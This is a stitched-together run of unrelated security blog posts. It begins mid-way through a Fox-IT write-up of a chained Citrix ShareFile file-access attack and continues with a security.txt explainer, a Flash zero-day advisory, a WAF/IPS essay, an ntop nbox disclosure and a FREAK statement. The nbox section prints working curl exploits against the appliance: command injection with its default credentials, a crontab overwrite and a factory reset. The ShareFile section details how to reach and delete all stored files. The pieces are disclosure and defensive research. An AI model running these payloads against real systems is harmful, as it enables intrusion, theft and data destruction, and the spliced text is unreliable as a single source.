<Path>/root/a4ea881a-a4d5-433a-fa44-41acd5ed5a5f/foh160ab-aa5a-4e43-96fd-e41caed36cea</Path>
<IncrementDownloadCount>false</IncrementDownloadCount>
<ShareID />
</Log>
</ShareFileDownloadInfo>

Two things are of interest here. The first is the path property of the File element, which specifies which file the token is valid for. The path starts with the ID a4ea881a-a4d5-433a-fa44-41acd5ed5a5f which is the ShareFile AccountID, which is unique per ShareFile instance. Then the second ID fi0f0f2e_3477_4647_9cdd_e89758c21c37 is unique for the file (hence the fi prefix), with two 0f subdirectories for the first characters of the ID (presumably to prevent huge folder listings).

The second noteworthy point is the authSignature property on the ShareFileDownloadInfo element. This suggests that the XML is signed to ensure its authenticity, and to prevent malicious tokens from being downloaded.

At this point we started looking at the StorageZone controller software itself. Since it is a program written in .NET and running under IIS, it is trivial to decompile the binaries with toos such as JustDecompile. While we obtained the StorageZone controller binaries from the server the software was running on, Citrix also offers this component as a download on their website.

In the decompiled code, the functions responsible for verifying the token can quickly be found. The feature to have XML files with a signature is called AuthenticatedXml by Citrix. In the code we find that a static key is used to verify the integrity of the XML file (which is the same for all StorageZone controllers):

Static MAC secret

Vulnerability 4: Token XML files integrity integrity not verified

During our research we of course attempted to simply edit the XML file without changing the signature, and it turned out that it is not nessecary to calculate the signature as an attacker, since the application simply tells you what correct signature is if it doesn’t match:

Signature disclosure

Vulnerability 5: Debug information disclosure

Furthermore, when we looked at the code which calculates the signature, it turned out that the signature is calculated by prepending the secret to the data and calculating a sha1 hash over this. This makes the signature potentially vulnerable to a hash length extension attack, though we did not verify this in the time available.

Hashing of secret prepended

Even though we didn’t use it in the attack chain, it turned out that the XML files were also vulnerable to XML External Entity (XXE) injection:

XXE error

Vulnerability 6 (not used in the chain): Token XML files vulnerable to XXE

In summary, it turns out that the token files offer another avenue to download arbitrary files from ShareFile. Additionally, the integrity of these files is insufficiently verified to protect against attackers. Unlike the previously described method which altered the upload data, this method will also decrypt encrypted files if encrypted storage is enabled within ShareFile.

Getting tokens and files

At this point we are able to write arbitrary files to any directory we want and to download files if the path is known. The file path however consists of random IDs which cannot be guessed in a realistic timeframe. It is thus still necessary for an attacker to find a method to enumerate the files stored in ShareFile and their corresponding IDs.

For this last step, we go back to the unzip functionality. The code responsible for extracting the zip file is (partially) shown below.

Unzip code

What we see here is that the code creates a temporary directory to which it extracts the files from the archive. The uploadId parameter is used here in the name of the temporary directory. Since we do not see any validation taking place of this path, this operation is possibly vulnerable to yet another path traversal. Earlier we saw that the uploadId parameter is submitted in the URL when uploading files, but the URL also contains a HMAC, which makes modifying this parameter seemingly impossible:

HMAC Url

However, let’s have a look at the implementation first. The request initially passes through the ValidateRequest function below:

Validation part 1

Which then passes it to the second validation function:

Validation part 2

What happens here is that the h parameter is extracted from the request, which is then used to verify all parameters in the url before the h parameter. Thus any parameters following the h in the URL are completely unverified!

So what happens when we add another parameter after the HMAC? When we modify the URL as follows:

uploadid-double.png

We get the following message:

{"error":true,"errorMessage":"upload-threaded-2.aspx: ID='rsu-becc299a4b9c421ca024dec2b4de7376,foxtest' Unrecognized Upload ID.","errorCode":605}

So what happens here? Since the uploadid parameter is specified multiple times, IIS concatenates the values which are separated with a comma. Only the first uploadid parameter is verified by the HMAC, since it operates on the query string instead of the individual parameter values, and only verifies the portion of the string before the h parameter. This type of vulnerability is known as HTTP Parameter Polution.

Vulnerability 7: Incorrectly implemented URL verification (parameter pollution)

Looking at the upload logic again, the code calls the function UploadLogic.RecursiveIteratePath after the files are extracted to the temporary directory, which recursively adds all the files it can find to the ShareFile account of the attacker (some code was cut for readability):

Recursive iteration

To exploit this, we need to do the following:

  • Create a directory called rsu-becc299a4b9c421ca024dec2b4de7376, in the files directory.
  • Upload an info.txt file to this directory.
  • Create a temporary directory called ulz-rsu-becc299a4b9c421ca024dec2b4de7376,.
  • Perform an upload with an added uploadid parameter pointing us to the tokens directory.

The creation of directories can be performed with the directory traversal that was initially identified in the unzip operation, since this will create any non-existing directories. To perform the final step and exploit the third path traversal, we post the following URL:

Upload ID path traversal

Side note: we use tokens_backup here because we didn’t want to touch the original tokens directory.

Which returns the following result that indicates success:

Upload ID path traversal result

Going back to our ShareFile account, we now have hundreds of XML files with valid download tokens available, which all link to files stored within ShareFile.

Download tokens

Vulnerability 8: Path traversal in upload ID

We can download these files by modifying the path in our own download token files for which we have the authorized download URL.
The only side effect is that adding files to the attackers account this way also recursively deletes all files and folders in the temporary directory. By traversing the path to the persistentstorage directory it is thus also possible to delete all files stored in the ShareFile instance.

Conclusion

By abusing a chain of correlated vulnerabilities it was possible for an attacker with any account allowing file uploads to access all files stored by the ShareFile on-premise StorageZone controller.

Based on our research that was performed for a client, Fox-IT reported the following vulnerabilities to Citrix on July 4th 2017:

  1. Path traversal in archive extraction
  2. Integrity of data files (info.txt) not verified
  3. Path traversal in info.txt data
  4. Token XML files integrity integrity not verified
  5. Debug information disclosure (authentication signatures, hashes, file size, network paths)
  6. Token XML files vulnerable to XXE
  7. Incorrectly implemented URL verification (parameter pollution)
  8. Path traversal in upload ID

Citrix was quick with following up on the issues and rolling out mitigations by disabling the unzip functionality in the cloud component of ShareFile. While Fox-IT identified several major organisations and enterprises that use ShareFile, it is unknown if they were using the hybrid setup in a vulnerable configuration. Therefor, the number of affected installations and if these issues were abused is unknown.

Disclosure timeline

  • July 4th 2017: Fox-IT reports all vulnerabilities to Citrix
  • July 7th 2017: Citrix confirms they are able to reproduce vulnerability 1
  • July 11th 2017: Citrix confirms they are able to reproduce the majority of the other vulnerabilities
  • July 12th 2017: Citrix deploys an initial mitigation for vulnerability 1, breaking the attack chain. Citrix informs us the remaining findings will be fixed on a later date as defense-in-depth measures
  • October 31st 2017: Citrix deploys additional fixes to the cloud-based ShareFile components
  • April 6th 2018: Disclosure

CVE: To be assigned

Implement “security.txt” to advocate responsible vuln. disclosures

Implement

After discussing CAA record in DNS to whitelist your certificate authorities in my previous article, do you know it's a matter of time that someone finds an issue with your web-presence, website or any front-facing application? If they do, what do you expect them to do? Keep it under the wrap, or disclose it to you "responsibly"? This article is for you if you advocate the responsible disclosure; else, you have to do catch up with reality (I shall come back to you later!). Now, while we are on responsible disclosure, the "well-behaved" hackers or security researchers can either reach you via bug-bounty channels, your info@example email (not recommended), social media, or would be struggling to find a secure channel. But, what if you have a way to broadcast your "security channel" details to ease out their communication, and provide them with a well documented, managed and sought out conversation channel? Isn't that cool? Voila, so what robots.txt is to search engines, security.txt is to security researchers!

I know you might be thinking, "...what if I have a page on my website which lists the security contacts?." But, where would you host this page - under contact-us, security, information, about-us etc.? This is the very issue that security.txt evangelists are trying to solve - standardize the file, path and it's presence as part of RFC 5785. As per their website,

Security.txt defines a standard to help organizations define the process for security researchers to disclose security vulnerabilities securely.

The project is still in early stages[1], but is already receiving positive feedback from the security community, and big tech players like Google[2] have incorporated it as well. In my opinion, it very well advocates that you take security seriously, and are ready to have an open conversation with the security community if they want to report a finding, vulnerability or a security issue with your website/ application. By all means, it sends a positive message!

Semantics/format of "security.txt"

As the security.txt follows a standard here are some points to consider,

  • The file security.txt has to be placed in .well-known directory under your domain parent directory, i.e. example.com/.well-known/security.txt
  • It documents the following fields,
    • Comments: The file can have information in the comment section that is optional. The comments shall begin with # symbol.
    • Each separate field needs a new line to define and represent.
    • Contact: This field can be an email address, phone or a link to a page where a security researcher can contact you. This field is mandatory and MUST be available in the file. It should adhere to RFC3986[3] for the syntax of email, phone and URI (MUST be served over HTTPS). Possible examples are,
      Contact: mailto:security@example.com.
      Contact: tel:+1-201-555-0123
      Contact: https://example.com/security-contact.html
    • Encryption: This directive should link to your encryption key if you expect the researcher to encrypt the communication. It MUST NOT be the key, but a URI to the key-file.
    • Signature: If you want to show the file integrity, you can use this directive to link to the signature of the file. Each of the signature files must be named as security.txt.sig and accessible at /.well-known/ path.
    • Policy: You can use this directive to link to your "security policy".
    • Acknowledgement: This derivative can be used to acknowledge the previous researchers, and findings. It should contain company and individual names.
    • Hiring: Wanna hire people? Then, this is the place you post.

A reference security.txt extracted from Google,

Contact: https://g.co/vulnz
Contact: mailto:security@google.com
Encryption: https://services.google.com/corporate/publickey.txt
Acknowledgement: https://bughunter.withgoogle.com/
Policy: https://g.co/vrp
Hiring: https://g.co/SecurityPrivacyEngJobs

Hope this articles gives you an idea of implementing security.txt file, and the very importance of it.

Stay safe!


  1. Early drafted posted for RFC review: https://tools.ietf.org/html/draft-foudil-securitytxt-03 ↩︎

  2. Google security.txt file: https://www.google.com/.well-known/security.txt ↩︎

  3. Uniform Resource Identifier: https://tools.ietf.org/html/rfc3986 ↩︎

Attacks Leveraging Adobe Zero-Day (CVE-2018-4878) – Threat Attribution, Attack Scenario and Recommendations

On Jan. 31, KISA (KrCERT) published an advisory about an Adobe Flash zero-day vulnerability (CVE-2018-4878) being exploited in the wild. On Feb. 1, Adobe issued an advisory confirming the vulnerability exists in Adobe Flash Player 28.0.0.137 and earlier versions, and that successful exploitation could potentially allow an attacker to take control of the affected system.

FireEye began investigating the vulnerability following the release of the initial advisory from KISA.

Threat Attribution

We assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper. We have observed TEMP.Reaper operators directly interacting with their command and control infrastructure from IP addresses assigned to the STAR-KP network in Pyongyang. The STAR-KP network is operated as a joint venture between the North Korean Government's Post and Telecommunications Corporation and Thailand-based Loxley Pacific. Historically, the majority of their targeting has been focused on the South Korean government, military, and defense industrial base; however, they have expanded to other international targets in the last year. They have taken interest in subject matter of direct importance to the Democratic People's Republic of Korea (DPRK) such as Korean unification efforts and North Korean defectors.

In the past year, FireEye iSIGHT Intelligence has discovered newly developed wiper malware being deployed by TEMP.Reaper, which we detect as RUHAPPY. While we have observed other suspected North Korean threat groups such as TEMP.Hermit employ wiper malware in disruptive attacks, we have not thus far observed TEMP.Reaper use their wiper malware actively against any targets.

Attack Scenario

Analysis of the exploit chain is ongoing, but available information points to the Flash zero-day being distributed in a malicious document or spreadsheet with an embedded SWF file. Upon opening and successful exploitation, a decryption key for an encrypted embedded payload would be downloaded from compromised third party websites hosted in South Korea. Preliminary analysis indicates that the vulnerability was likely used to distribute the previously observed DOGCALL malware to South Korean victims.

Recommendations

Adobe stated that it plans to release a fix for this issue the week of Feb. 5, 2018. Until then, we recommended that customers use extreme caution, especially when visiting South Korean sites, and avoid opening suspicious documents, especially Excel spreadsheets. Due to the publication of the vulnerability prior to patch availability, it is likely that additional criminal and nation state groups will attempt to exploit the vulnerability in the near term.

FireEye Solutions Detections

FireEye Email Security, Endpoint Security with Exploit Guard enabled, and Network Security products will detect the malicious document natively. Email Security and Network Security customers who have enabled the riskware feature may see additional alerts based on suspicious content embedded in malicious documents. Customers can find more information in our FireEye Customer Communities post.

WAF and IPS. Does your environment need both?

WAF and IPS. Does your environment need both?

I have been in fair amount of discussions with management on the need for WAF, and IPS; they often confuse them and their basic purpose. It has been usually discussed after a pentest or vulnerability assessment, that if I can't fix this vulnerability - shall I just put an IPS or WAF to protect the intrusion/ exploitation? Or, sometimes they are considered as the silver bullet to thwart off the attackers instead of fixing the bugs. So, let me tell you - This is not good!

The security products are well suited to protect from something "unknown" or something that you have "unknowingly missed". It is not a silver bullet or an excuse to keep systems/ applications unpatched.

Security shouldn't be an AND/OR case. More the merrier only if they have been configured properly and each one of the product(s) has a different role to play under the flag of defense in depth! So, while I started this article as WAF vs. IPS - it's time to understand it's WAF and IPS. The ecosystem of your production environment is evolving and so is the threat landscape - it's more complex to protect than it was 5 years ago. Attackers are running at your pace, if not faster & a step ahead. These adversary as well piggy-back existing threats to launch their exploits. Often something that starts as simple as DDOS to overwhelm your networks, concedes in an application layer attack. So, network firewall, application firewall, anti-malware, IPS, SIEM etc. all have an important task and should be omnipresent with bells and whistles!

Nevertheless, whether it's a WAF or an IPS; each has it's own purpose and though they can't replace each other, they often have gray areas under which you can rest your risks. This blog will try to address these gray areas, and the associated differences to make life easier when it comes to WAF (Web Application Firewall) or IPS (Intrusion Prevention System). The assumption is both are modern products, and the IPS have deep packet inspection capabilities. Now, let's try to understand the infrastructure, environment and scope of your golden eggs before we can take a call which is the best way to protect the data,

  1. If you are protecting only the "web applications" running on HTTP sockets, then WAF is enough. IPS will be cherry on cake.
  2. If you are protecting all sorts of traffic - SSH, FTP, HTTP etc. then WAF is of less use at it can't inspect non HTTP traffic. I would recommend having a deep packet inspection IPS.
  3. WAF must not be considered as an alternative for traditional network firewalls. It works on the application layer and hence is primarily useful on HTTP, SSL (decryption), Javascript, AJAX, ActiveX, Session management kind of traffic.
  4. A typical IPS does not decrypt SSL traffic, and therefore is insufficient in packet inspection on HTTPS session.
  5. There is wide difference in the traffic visibility and base-lining for anomalies. While WAF has an "understanding" of traffic - HTTP GET, POST, URL, SSL etc. the IPS only understands it as network traffic and therefore can do layer 3/4 checks - bandwidth, packet size, raw protocol decoding/ anomalies but not the GET/ POST or session management.
  6. IPS is useful in cases where RDP, SSH or FTP traffic has to be inspected before it reaches the box to make sure that the protocol is not tampered or wrapped with another TCP packet etc.

Both the technologies have matured and have many gray areas of working but understand that WAF knows and capture the contents of HTTP traffic to see if there is a SQL injection, XSS or cookie manipulation but the IPS have very little or no understanding of the underlying application, therefore can't do much with the traffic contents. An IPS can't raise an alarm if someone is getting confidential data out, or even sending a harmful parameter to your application - it will let it through if it's a valid HTTP packet.

Now, with the information I just shared, try to have a conversation with your management on how to provide the best layered approach in security. How to make sure the network, and application is resilient to complex attacks and threats lurking at your perimeter, or inside.

Be safe.

Got any RCEs?

Security is a boomin’, and so there are many different appliances to protect your network. Some of them do very little to protect, some of them open new holes in your network.

In line with best practice, many Security teams capture all network traffic using a variety of solutions, some closed, some open source. Once the traffic is stored, it can be used to detect badness, or just examine traffic patterns on corporate assets.

One of these open source options is NTOP, which of course has an appliance version, called nbox recorder.  It goes without saying, if this traffic data were to be exposed, the consequences could be catastrophic. Consider stored credentials, authentication data, PII, internal data leakage...
pcap_tee.png
PCAP or it didn't happen

You can either buy a ready-to-go appliance or with some drudge work you can build your own. Just get a license for nbox and just put it into a Linux box, they are nice like that providing all the repositories and the steps are simple and easy to follow. Just spin up an Ubuntu VM and run:


wget http://apt.ntop.org/14.04/all/apt-ntop.deb
sudo dpkg -i apt-ntop.deb
sudo apt-get clean all
sudo apt-get update
sudo apt-get install -y pfring nprobe ntopng ntopng-data n2disk cento nbox





BOOM! You are ready to go. Now you have a nbox recorder ready to be used. And abused!
The default credentials are nbox/nbox and it does use Basic Auth to be accessed.

Before I continue, imagine that you have this machine capturing all the traffic of your network. Listening to all your corporate communications or production traffic and storing them on disk. How bad would it be if an attacker gets full access to it? Take a minute to think about it.


nervs.gif
Uh-oh...
This level of exposure caught my eye, and I wanted to verify that having one of these sitting in your network does not make you more exposed. Unfortunately, I found several issues that could have been catastrophic with a malicious intent.

I do believe in the responsible disclosure process, however after repeatedly notifying both ntop and MITRE, these issues were not given high priority nor visibility. The following table details the timeline around my disclosure communications: 

Disclosure Timeline

12/27/2014 - Sent to ntop details about some nbox vulnerabilities discovered in version 2.0
01/15/2015 - Asked ntop for an update about the vulnerabilities sent
01/16/2015 - Requested by ntop the details again, stating they may have been fixed
01/18/2015 - Sent for a second time the vulnerabilities details. Mentioned to request CVEs
05/24/2015 - Asked ntop for an update about the vulnerabilities sent and to request CVEs
01/06/2016 - Noticed new nbox version is out (2.3) and found more vulnerabilities. Old vulnerabilities are fixed. Sent ntop an email about new issues and to request CVEs
01/06/2016 - Quick answer ignoring my request for CVEs and just asking for vulnerabilities details.
01/28/2016 - Sent request for CVEs to MITRE, submitting a full report with all the issues and steps to reproduce.
02/17/2016 - Asked MITRE for an update on the issues submitted.
02/17/2016 - Reply from MITRE: “Your request is outside the scope of CVE's published priorities. As such, it will not be assigned a CVE-ID by MITRE or another CVE CNA at this time.”

07/10/2016 - Noticed new nbox version (2.5) with partial fixes for some vulnerabilities in the previous (2.3) version

The ntop team initially refused to comment and silently fixed the bugs. MITRE then said this wasn't severe enough to warrant a CVE. As such, I have now chosen to highlight the issues here in an effort to have them remediated. I again want to highlight that I take this process very seriously, but after consulting with multiple other individuals, I feel that both the ntop team and MITRE have left me no other responsible options.
neotrain1.jpg
Here comes the paintrain!

*Replace NTOP-BOX with the IP address of your appliance (presuming that you already logged in). Note that most of the RCEs are wrapped in sudo so it makes the pwnage much more interesting:


RCE: POST against https://NTOP-BOX/ntop-bin/write_conf_users.cgi with parameter cmd=touch /tmp/HACK

curl -sk --user nbox:nbox --data 'cmd=touch /tmp/HACK' 'https://NTOP-BOX/ntop-bin/write_conf_users.cgi'


RCE: POST against https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi with parameters interface=;touch /tmp/HACK;


curl -sk --user nbox:nbox --data 'interface=;touch /tmp/HACK;' 'https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi'


RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap


curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap'


RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22


curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22'

RCE: POST against https://NTOP-BOX/ntop-bin/do_mergecap.cgi with parameters opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit%200

curl -sk --user nbox:nbox --data 'opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit 0' 'https://NTOP-BOX/ntop-bin/do_mergecap.cgi'

There are some other interesting things, for example, it was possible to have a persistent XSS by rewriting crontab with a XSS payload on it, but they fixed it in 2.5. However the crontab overwrite (Wrapped in sudo) is still possible:

GET https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON'

The last one is a CSRF that leaves the machine fried, by resetting the machine completely:
GET https://NTOP-BOX/ntop-bin/do_factory_reset.cgi

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_factory_reset.cgi'


To make things easier, I created a Vagrantfile with provisioning so you can have your own nbox appliance and test my findings or give it a shot. There is more stuff to be found, trust me :)


And you can run the checker.sh to check for all the above attacks. Pull requests are welcome if you find more!



Screen Shot 2016-07-26 at 10.00.27.png





nodding.gif





(The issues were found originally in nbox 2.3 and confirmed in nbox 2.5)

Modules for metasploit and BeEF will come soon. I hope this time the issues are not just silently patched...

If you have any questions or feedback, hit me up in twitter (@javutin)!

Have a nice day!


Statement: Smoothwall and the "FREAK" Vulnerability

In light of the recent "FREAK" vulnerability, in which web servers and web browsers can be cajoled into using older, more vulnerable ciphers in encrypted communications, we would like to assure customers that the web server configuration on an up-to-date Smoothwall system is not vulnerable to this attack.

Similarly, if you are using "HTTPS Decrypt & Inspect" in Smoothwall, your clients' browsers will afforded some protection from attack, as their traffic will be re-encrypted by the web filter, which does not support downgrading to these "Export Grade" ciphers.